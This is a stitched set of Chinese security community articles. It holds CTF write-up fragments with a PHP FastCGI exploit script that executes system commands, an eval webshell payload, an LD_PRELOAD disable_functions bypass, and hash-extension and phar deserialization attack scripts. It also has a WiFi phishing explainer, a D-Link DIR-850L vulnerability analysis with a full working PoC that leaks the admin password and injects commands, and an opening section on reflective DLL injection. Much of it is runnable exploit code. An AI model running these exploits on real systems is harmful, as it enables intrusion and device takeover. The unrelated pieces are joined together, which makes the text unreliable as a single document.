flow.request.urlencoded_form["replace"] = "ob_end_clean()&&eval($_POST['a'])&&ob_end_clean()"
flow.request.urlencoded_form["regex"] = "1"
flow.request.urlencoded_form["id"] = "21"
之后
putenv LD_PRELOAD
error_log
fpm绕过basedir // 这个居然没绕过disable_function神奇
<?php
/*
* This file is part of PHP-FastCGI-Client.
*
* (c) Pierrick Charron <[email protected]>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
* of the Software, and to permit persons to whom the Software is furnished to do
* so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
namespace Adoy\FastCGI;
class TimedOutException extends \Exception {}
class ForbiddenException extends \Exception {}
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <[email protected]>
* @version 1.0.0
*/
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
const REQ_STATE_WRITTEN = 1;
const REQ_STATE_OK = 2;
const REQ_STATE_ERR = 3;
const REQ_STATE_TIMED_OUT = 4;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Outstanding request statuses keyed by request id
*
* Each request is an array with following form:
*
* array(
* 'state' => REQ_STATE_*
* 'response' => null | string
* )
*
* @var array
*/
private $_requests = array();
/**
* Use persistent sockets to connect to backend
* @var Boolean
*/
private $_persistentSocket = false;
/**
* Connect timeout in milliseconds
* @var Integer
*/
private $_connectTimeout = 5000;
/**
* Read/Write timeout in milliseconds
* @var Integer
*/
private $_readWriteTimeout = 5000;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port)
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Define whether or not PHP should attempt to re-use sockets opened by previous
* request for efficiency
*
* @param Boolean $b true if persistent socket should be used, false otherwise
*/
public function setPersistentSocket($b)
{
$was_persistent = ($this->_sock && $this->_persistentSocket);
$this->_persistentSocket = (boolean)$b;
if (!$this->_persistentSocket && $was_persistent) {
fclose($this->_sock);
}
}
/**
* Get the pesistent socket status
*
* @return Boolean true if the socket should be persistent, false otherwise
*/
public function getPersistentSocket()
{
return $this->_persistentSocket;
}
/**
* Set the connect timeout
*
* @param Integer number of milliseconds before connect will timeout
*/
public function setConnectTimeout($timeoutMs)
{
$this->_connectTimeout = $timeoutMs;
}
/**
* Get the connect timeout
*
* @return Integer number of milliseconds before connect will timeout
*/
public function getConnectTimeout()
{
return $this->_connectTimeout;
}
/**
* Set the read/write timeout
*
* @param Integer number of milliseconds before read or write call will timeout
*/
public function setReadWriteTimeout($timeoutMs)
{
$this->_readWriteTimeout = $timeoutMs;
$this->set_ms_timeout($this->_readWriteTimeout);
}
/**
* Get the read timeout
*
* @return Integer number of milliseconds before read will timeout
*/
public function getReadWriteTimeout()
{
return $this->_readWriteTimeout;
}
/**
* Helper to avoid duplicating milliseconds to secs/usecs in a few places
*
* @param Integer millisecond timeout
* @return Boolean
*/
private function set_ms_timeout($timeoutMs) {
if (!$this->_sock) {
return false;
}
return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
if ($this->_persistentSocket) {
$this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
} else {
$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
}
if (!$this->_sock) {
throw new \Exception('Unable to connect to FastCGI application: ' . $errstr);
}
if (!$this->set_ms_timeout($this->_readWriteTimeout)) {
throw new \Exception('Unable to set timeout on socket');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && ($buf=fread($this->_sock, $len)) !== false) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf = fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new \Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$id = $this->async_request($params, $stdin);
return $this->wait_for_response($id);
}
/**
* Execute a request to the FastCGI application asyncronously
*
* This sends request to application and returns the assigned ID for that request.
*
* You should keep this id for later use with wait_for_response(). Ids are chosen randomly
* rather than seqentially to guard against false-positives when using persistent sockets.
* In that case it is possible that a delayed response to a request made by a previous script
* invocation comes back on this socket and is mistaken for response to request made with same ID
* during this request.
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return Integer
*/
public function async_request(array $params, $stdin)
{
$this->connect();
// Pick random number between 1 and max 16 bit unsigned int 65535
$id = mt_rand(1, (1 << 16) - 1);
// Using persistent sockets implies you want them keept alive by server!
$keepAlive = intval($this->_keepAlive || $this->_persistentSocket);
$request = $this->buildPacket(self::BEGIN_REQUEST
,chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5)
,$id
);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {
$info = stream_get_meta_data($this->_sock);
if ($info['timed_out']) {
throw new TimedOutException('Write timed out');
}
// Broken pipe, tear down so future requests might succeed
fclose($this->_sock);
throw new \Exception('Failed to write request to socket');
}
$this->_requests[$id] = array(
'state' => self::REQ_STATE_WRITTEN,
'response' => null
);
return $id;
}
/**
* Blocking call that waits for response to specific request
*
* @param Integer $requestId
* @param Integer $timeoutMs [optional] the number of milliseconds to wait. Defaults to the ReadWriteTimeout value set.
* @return string response body
*/
public function wait_for_response($requestId, $timeoutMs = 0) {
if (!isset($this->_requests[$requestId])) {
throw new \Exception('Invalid request id given');
}
// If we already read the response during an earlier call for different id, just return it
if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK
|| $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR
) {
return $this->_requests[$requestId]['response'];
}
if ($timeoutMs > 0) {
// Reset timeout on socket for now
$this->set_ms_timeout($timeoutMs);
} else {
$timeoutMs = $this->_readWriteTimeout;
}
// Need to manually check since we might do several reads none of which timeout themselves
// but still not get the response requested
$startTime = microtime(true);
do {
$resp = $this->readPacket();
if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
if ($resp['type'] == self::STDERR) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;
}
$this->_requests[$resp['requestId']]['response'] .= $resp['content'];
}
if ($resp['type'] == self::END_REQUEST) {
$this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;
if ($resp['requestId'] == $requestId) {
break;
}
}
if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {
// Reset
$this->set_ms_timeout($this->_readWriteTimeout);
throw new \Exception('Timed out');
}
} while ($resp);
if (!is_array($resp)) {
$info = stream_get_meta_data($this->_sock);
// We must reset timeout but it must be AFTER we get info
$this->set_ms_timeout($this->_readWriteTimeout);
if ($info['timed_out']) {
throw new TimedOutException('Read timed out');
}
if ($info['unread_bytes'] == 0
&& $info['blocked']
&& $info['eof']) {
throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');
}
throw new \Exception('Read failed');
}
// Reset timeout
$this->set_ms_timeout($this->_readWriteTimeout);
switch (ord($resp['content']{4})) {
case self::CANT_MPX_CONN:
throw new \Exception('This app can\'t multiplex [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new \Exception('New request rejected; too busy [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new \Exception('Role value not known [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $this->_requests[$requestId]['response'];
}
}
}
if (!isset($_REQUEST['cmd'])) {
die("Check your input\n");
}
if (!isset($_REQUEST['filepath'])) {
$filepath = __FILE__;
}else{
$filepath = $_REQUEST['filepath'];
}
$req = '/'.basename($filepath);
$uri = $req .'?'.'command='.$_REQUEST['cmd'];
if (strpos($_REQUEST['host'], 'unix://') !== false) {
$client = new Client($_REQUEST['host']);
}else{
$client = new Client($_REQUEST['host'], $_REQUEST['port']);
}
$code = "<?php system(\$_REQUEST['command']);?>"; // php payload
if (version_compare(PHP_VERSION, '5.4.0') >= 0) {
$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
}else{
$php_value = "allow_url_include = On\nsafe_mode = Off\nopen_basedir = /\nauto_prepend_file = php://input\ndisable_function=";
}
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command='.$_REQUEST['cmd'],
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9985',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
echo "Call: $uri\n\n";
echo strstr($client->request($params, $code), "PHP Version", true)."\n";
?>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/Sndav/flag");
}
`
### boring_code
使用xxxbaidu.com绕过校验，考虑如何通过正则样子的函数，读取到flag。
url=http://ip/?code=echo(readfile(end(scandir(pos(localeconv())))));
可以列目录，但是读上一层的文件要么拼接字符串"../index.php"，要么就chroot/chdir。
chroot/chdir会返回一个true，还需要有另一个函数可以处理这个参数。决定使用 true->1->46->'.'，这个思路，最终payload
url=http%3A%2F%2FIP%2Frua.php%3Fcode%3Decho(readfile(end(scandir(chr(floor(sqrt(sinh(sqrt(sinh(sinh(sinh(asin(ceil(ceil(chdir(next(scandir(pos(localeconv())))))))))))))))))))%3B
### EzCMS
1. 哈希扩展攻击
2. 上传phar文件，配合反序列化扩展攻击面
3. 选择ZipArchive 类，利用其open函数，移除掉.htaccess
#!/usr/bin/env python
# -*- coding: utf-8 -*- import hashpumpy
import requests
# ?*8 adminadmin
result = hashpumpy.hashpump('52107b08c0f3342d2153ae1d68e6262c', 'adminadmin', 'a', 8)
from urllib import *
data = {
'username':'admin',
'password': quote(result[1][5:])
}
cookies = {
'PHPSESSID':'1tdp5bqfks5mcsnbrjcbff90rs',
'user':result[0]
}
a = requests.post('http://112.126.102.158:9999/index.php',data=data,cookies=cookies)
print cookies
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
//include "config.php";
//@unlink("phar.phar");
class Profile{
public $username;
public $password;
public $admin;
}
class File{
public $filename;
public $filepath;
public $checker;
}
$phar = new Phar("sissel_lala.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头
$o = new File();
$o->filename = "./sandbox/d64424a2bb45ef9baa40f945b741d6ee/c77e74e3c317a8fb80b46d0a4ada6473.sissel";
$o->filepath = "./sandbox/d64424a2bb45ef9baa40f945b741d6ee/.htaccess";
$o->checker = new Profile();
$o->checker->username = "/var/www/html/sandbox/d64424a2bb45ef9baa40f945b741d6ee/.htaccess";
$o->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$o->checker->admin = new ZipArchive();
//$o = serialize($o);
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("aaa.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering(); | 社区文章 |
# 5元成本破解WiFi密码
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期，发现某平台公然出现钓鱼WiFi教程内容，热度很高，不仅教程详细，作者更是将此软件进行了开源操作，相较于早年前的破解WiFi事件门槛更低，而更让人惊讶的是视频评论区，有不少用户分享着自己的破解心得，而在移动互联网迅速发展，智能手机、平板电脑的普及，WiFi已成为用户生活中不可或缺的一部分，WiFi安全问题更值得我们正视。
## 成本5元的WiFi自动化钓鱼
**钓鱼WiFi原理**
对目标路由器及客户端进行攻击，客户端与路由器断联，再诱导连接虚假钓鱼WiFi从而窃取密码。
**钓鱼WiFi搭建过程**
综合网络的攻击教程来看，目前主要在固件有所区别，一部分固件是集成WiFi+攻击方式+钓鱼网站，一部分是WiFi固件与攻击固件分开。
使用软件工具，将钓鱼网站写入物联网开发板，不同作者的钓鱼内容不同，其展示内容有所区别。部分固件是集成了攻击模式和钓鱼网站，安装驱动和集成固件即可完成钓鱼WiFi制作。
**钓鱼WiFi的攻击过程**
物联网开发板开启WiFi后，首先连接该WiFi并进入管理后台，扫描附近WiFi。对目标路由器WiFi-1及客户端进行攻击，此时连接WiFi-1的设备会与WiFi断开连接。伪造钓鱼使用的同名WiFi-1，事主连接钓鱼WiFi-1后，由于使用了WiFi-Portal认证，会跳出指定的认证链接（钓鱼链接），事主在钓鱼WiFi写入路由器密码后，密码被窃取。
备注：Portal认证是无线WiFi或者WLAN网络作为网络接入控制使用，实现需要联网的终端设备需要认证才能接入互联网。
**钓鱼WiFi可能出现的危害**
## 个人用户如何防范被钓鱼呢？
n根据已有资料看，目前此种攻击手段主要是针对路由器2.4G。在使用双模路由器时，可同时开启2.4G和5G。
n不要轻易连接公共WiFi，小心被钓鱼。 | 社区文章 |
作者：知道创宇404实验室
报告发布日期：2017年08月11日
PDF 版报告下载：[D-Link
路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告](https://paper.seebug.org/papers/Archive/D-Link%20%E8%B7%AF%E7%94%B1%E5%99%A8%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E5%8F%8A%E5%85%A8%E7%90%83%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A.pdf
"D-Link 路由器信息泄露和远程命令执行漏洞分析及全球数据分析报告")
#### 0x00 背景
[D-Link](http://us.dlink.com
"D-Link")（即友讯网络）[1]，一家生产网络硬件和软件产品的企业，主要产品有交换机、无线产品、宽带产品、网卡、路由器、网络摄像机和网络安全产品(防火墙)等。
2017年8月8号，SecuriTeam在博客公布了D-Link
850L多个漏洞的[漏洞细节和PoC](https://blogs.securiteam.com/index.php/archives/3364
"漏洞细节和PoC")[2]，其中包括通过WAN和LAN的远程代码执行、通过WAN和LAN口的未授权信息泄露、通过LAN的root远程命令执行。
2017年8月9日，Seebug收录了该厂商旗下D-Link
DIR-850L云路由器的[多个漏洞](https://www.seebug.org/vuldb/ssvid-96333
"多个漏洞")[3]。攻击者通过路由器公网入口可获取路由器后台登录凭证并执行任意代码。
知道创宇404实验室本地测试发现多款D-Link DIR系列路由器也受到该漏洞影响。
根据ZoomEye的探测和分析，存在漏洞的D-Link路由器型号如下：
D-Link供应商已经发布了补丁Firmware: 1.14B07
BETA[修复该漏洞](http://support.dlink.com/ProductInfo.aspx?m=DIR-850L "修复该漏洞")[4]。
#### 0x01 漏洞分析
这个漏洞由两个漏洞组成，通过第一个漏洞和第二个漏洞，可以形成完整的攻击链。根据公布的PoC我们可以分析漏洞的成因。
下面是PoC的代码。
#!/usr/bin/env python3
# pylint: disable=C0103
#
# pip3 install requests lxml
#
import hmac
import json
import sys
from urllib.parse import urljoin
from xml.sax.saxutils import escape
import lxml.etree
import requests
try:
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
except:
pass
TARGET = sys.argv[1]
COMMAND = ";".join([
"iptables -F",
"iptables -X",
"iptables -t nat -F",
"iptables -t nat -X",
"iptables -t mangle -F",
"iptables -t mangle -X",
"iptables -P INPUT ACCEPT",
"iptables -P FORWARD ACCEPT",
"iptables -P OUTPUT ACCEPT",
"telnetd -p 23090 -l /bin/date" # port 'Z2'
])
session = requests.Session()
session.verify = False
############################################################
print("Get password...")
headers = {"Content-Type": "text/xml"}
cookies = {"uid": "whatever"}
data = """<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
</module>
</postxml>"""
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, cookies=cookies, data=data)
# print(resp.text)
# getcfg: <module>...</module>
# hedwig: <?xml version="1.0" encoding="utf-8"?>
# : <hedwig>...</hedwig>
accdata = resp.text[:resp.text.find("<?xml")]
admin_pasw = ""
tree = lxml.etree.fromstring(accdata)
accounts = tree.xpath("/module/device/account/entry")
for acc in accounts:
name = acc.findtext("name", "")
pasw = acc.findtext("password", "")
print("name:", name)
print("pass:", pasw)
if name == "Admin":
admin_pasw = pasw
if not admin_pasw:
print("Admin password not found!")
sys.exit()
############################################################
print("Auth challenge...")
resp = session.get(urljoin(TARGET, "/authentication.cgi"))
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("uid:", resp["uid"])
print("challenge:", resp["challenge"])
session.cookies.update({"uid": resp["uid"]})
print("Auth login...")
user_name = "Admin"
user_pasw = admin_pasw
data = {
"id": user_name,
"password": hmac.new(user_pasw.encode(), (user_name + resp["challenge"]).encode(), "md5").hexdigest().upper()
}
resp = session.post(urljoin(TARGET, "/authentication.cgi"), data=data)
# print(resp.text)
resp = json.loads(resp.text)
if resp["status"].lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
data = {"SERVICES": "DEVICE.TIME"}
resp = session.post(urljoin(TARGET, "/getcfg.php"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
tree.xpath("//ntp/enable")[0].text = "1"
tree.xpath("//ntp/server")[0].text = "metelesku; (" + COMMAND + ") & exit; "
tree.xpath("//ntp6/enable")[0].text = "1"
############################################################
print("hedwig")
headers = {"Content-Type": "text/xml"}
data = lxml.etree.tostring(tree)
resp = session.post(urljoin(TARGET, "/hedwig.cgi"), headers=headers, data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
############################################################
print("pigwidgeon")
data = {"ACTIONS": "SETCFG,ACTIVATE"}
resp = session.post(urljoin(TARGET, "/pigwidgeon.cgi"), data=data)
# print(resp.text)
tree = lxml.etree.fromstring(resp.content)
result = tree.findtext("result")
if result.lower() != "ok":
print("Failed!")
print(resp.text)
sys.exit()
print("OK")
hedwig.cgi会调用fatlady.php来应用设置加载配置。这里我们可以通过设置service来加载任何php后缀的文件。
/htdocs/webinc/fatlady.php
这里我们可以通过加载配置文件来列出用户账户的口令。
/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php
获得管理员口令后，我们可以登陆并出发第二个漏洞 – NTP服务器shell命令注入。
通过请求getcfg.php来加载DEVICE.TIME.php页面。
/htdocs/web/getcfg.php
跟入DEVICE.TIME.php页面。
这里server变量没有任何过滤直接拼入命令。
通过上述两个漏洞，我们就可以无限制命令执行。
以下为漏洞证明：
成功命令执行。
#### 0x02 数据分析
根据ZoomEye网络空间搜索引擎截止到2017年8月9日探测和分析的数据，对存在漏洞的D-Link路由器进行全球范围的分析，如下图所示。
图1 D-Link DIR系列路由器信息泄露和远程命令执行漏洞全球态势
上图是此次D-Link DIR系列路由器信息泄露和远程命令执行漏洞的全球分析结果。通过上图可以大体了解到哪些国家和地区的D-Link
DIR系列路由器设备正在面临严重的安全威胁。存在威胁的D-Link DIR系列路由器在较为发达的国家和地区比较多。
下图是受影响国家和地区top10的数据分析。
图2 受到D-Link DIR系列路由器漏洞威胁的国家和地区top10
可以看到存在漏洞的D-Link
DIR系列路由器在新加坡、韩国和美国尤其多，已经超过1000条记录，新加坡更是超过了2000条记录。其他国家和地区也存在不少。如果修复不及时，很有可能被黑客利用，破坏受威胁国家和地区的网络设施，造成重要数据泄露、网络瘫痪等不可挽回的严重后果。
下图是国内的情况。
图3 国内受到D-Link DIR系列路由器漏洞威胁的地区
将目光转至国内。中国内地可以探测到的受威胁的路由器设备并不多，仅有19条记录。有安全隐患的D-Link
DIR系列路由器更多集中在我国台湾省和香港地区，一共有843条记录。中国内地探测到的受此次漏洞威胁的路由器不多的原因可能有两点：1.国内公网IP数稀少，分配给D-Link路由器过于奢侈；2. D-Link DIR系列路由器在国内销量不高。
接下来从路由器型号的角度进行分析。
图4 D-Link DIR系列路由器漏洞版本分布 （内圈表示型号。外圈表示内圈对应型号的各个固件版本）
可以看到路由器型号中DIR-868L与DIR-850L受影响比较严重，DIR-868L占了大约31.66%，而DIR-850L大约占了21.67%。
从固件版本来分析，DIR-868L的1.03SHC、1.09版本固件受影响数量多，分别占比7.03%、5.24%，DIR-850L的1.15固件版本受影响数量较多，占比5.22%，DIR-610的1.01占比8.11%，以及DIR-601N+的1.00版本的固件占比7.15%，以上受影响的固件版本占比均超过5%。
下图是受影响路由器型号详细的数据分析。
图5 受威胁的路由器型号分布
受漏洞威胁的路由器型号集中在DIR-868L、DIR-850L这两个型号上，共有5909条记录。从图表中同样可以看出存在漏洞的路由器型号和固件版本影响范围之广。
下面从路由器连接端口的统计数据进行分析。
图6 路由器登陆端口top10分布
从端口上来分析，路由器登陆入口大多集中在常见的8080和80端口。开在其他端口的情况也有很多，端口分布广泛。
#### 0x03 总结
这次D-Link DIR系列路由器远程命令执行漏洞是通过两个漏洞的配合：首先利用信息泄露获得账号及口令，然后利用NTP的漏洞执行任意命令。
此次D-Link DIR系列路由器漏洞危害十分严重。黑客如果拿下路由器就相当于获得了该网络的控制权。所以请相关人员及时打上补丁，或者联系专业人员处理。
通过ZoomEye的全球数据分析可以看到，此次漏洞影响十分广泛，牵扯到全球很多国家和地区。
飞速发展的物联网给我们带来便利的同时，危险也悄然而至。云路由让我们可以方便地控制远在天边的设备。但与此同时，不怀好意之人也在觊觎你暴露在网络上的私有财产。所以我们在享受网络的同时，也需要时刻注意网络安全维护。
#### 0x04 相关链接
[1] D-Link官网：<http://us.dlink.com>
[2] 漏洞详情及PoC：<https://blogs.securiteam.com/index.php/archives/3364>
[3] SeeBug 收录：<https://www.seebug.org/vuldb/ssvid-96333>
[4] 官方补丁：<http://support.dlink.com/ProductInfo.aspx?m=DIR-850L>
#### 0x05 更新情况
* * * | 社区文章 |
# 一、 **前言**
dll注入技术是让某个进程主动加载指定的dll的技术。恶意软件为了提高隐蔽性，通常会使用dll注入技术将自身的恶意代码以dll的形式注入高可信进程。
常规的dll注入技术使用LoadLibraryA()函数来使被注入进程加载指定的dll。常规dll注入的方式一个致命的缺陷是需要恶意的dll以文件的形式存储在受害者主机上。这样使得常规dll注入技术在受害者主机上留下痕迹较大，很容易被edr等安全产品检测到。为了弥补这个缺陷，stephen
fewer提出了反射式dll注入技术并在[github开源](https://github.com/stephenfewer/ReflectiveDLLInjection)，反射式dll注入技术的优势在于可以使得恶意的dll通过socket等方式直接传输到目标进程内存并加载，期间无任何文件落地，安全产品的检测难度大大增加。
本文将从dll注入技术简介、msf migrate模块剖析、检测思路和攻防对抗的思考等方向展开说明反射式dll注入技术。
# 二、 **dll注入技术简介**
## **2.1 常规dll注入技术**
常规dll注入有:
1. 通过调用CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread()函数在被注入进程创建线程进行dll注入。
2. 通过调用QueueUserAPC()/SetThreadContext()函数来劫持被注入进程已存在的线程加载dll。
3. 通过调用SetWindowsHookEx()函数来设置拦截事件，在发生对应的事件时，被注入进程执行拦截事件函数加载dll。
以使用CreateRemoteThread()函数进行dll注入的方式为例，实现思路如下:
1. 获取被注入进程PID。
2. 在注入进程的访问令牌中开启SE_DEBUG_NAME权限。
3. 使用openOpenProcess()函数获取被注入进程句柄。
4. 使用VirtualAllocEx()函数在被注入进程内开辟缓冲区并使用WriteProcessMemory()函数写入DLL路径的字符串。
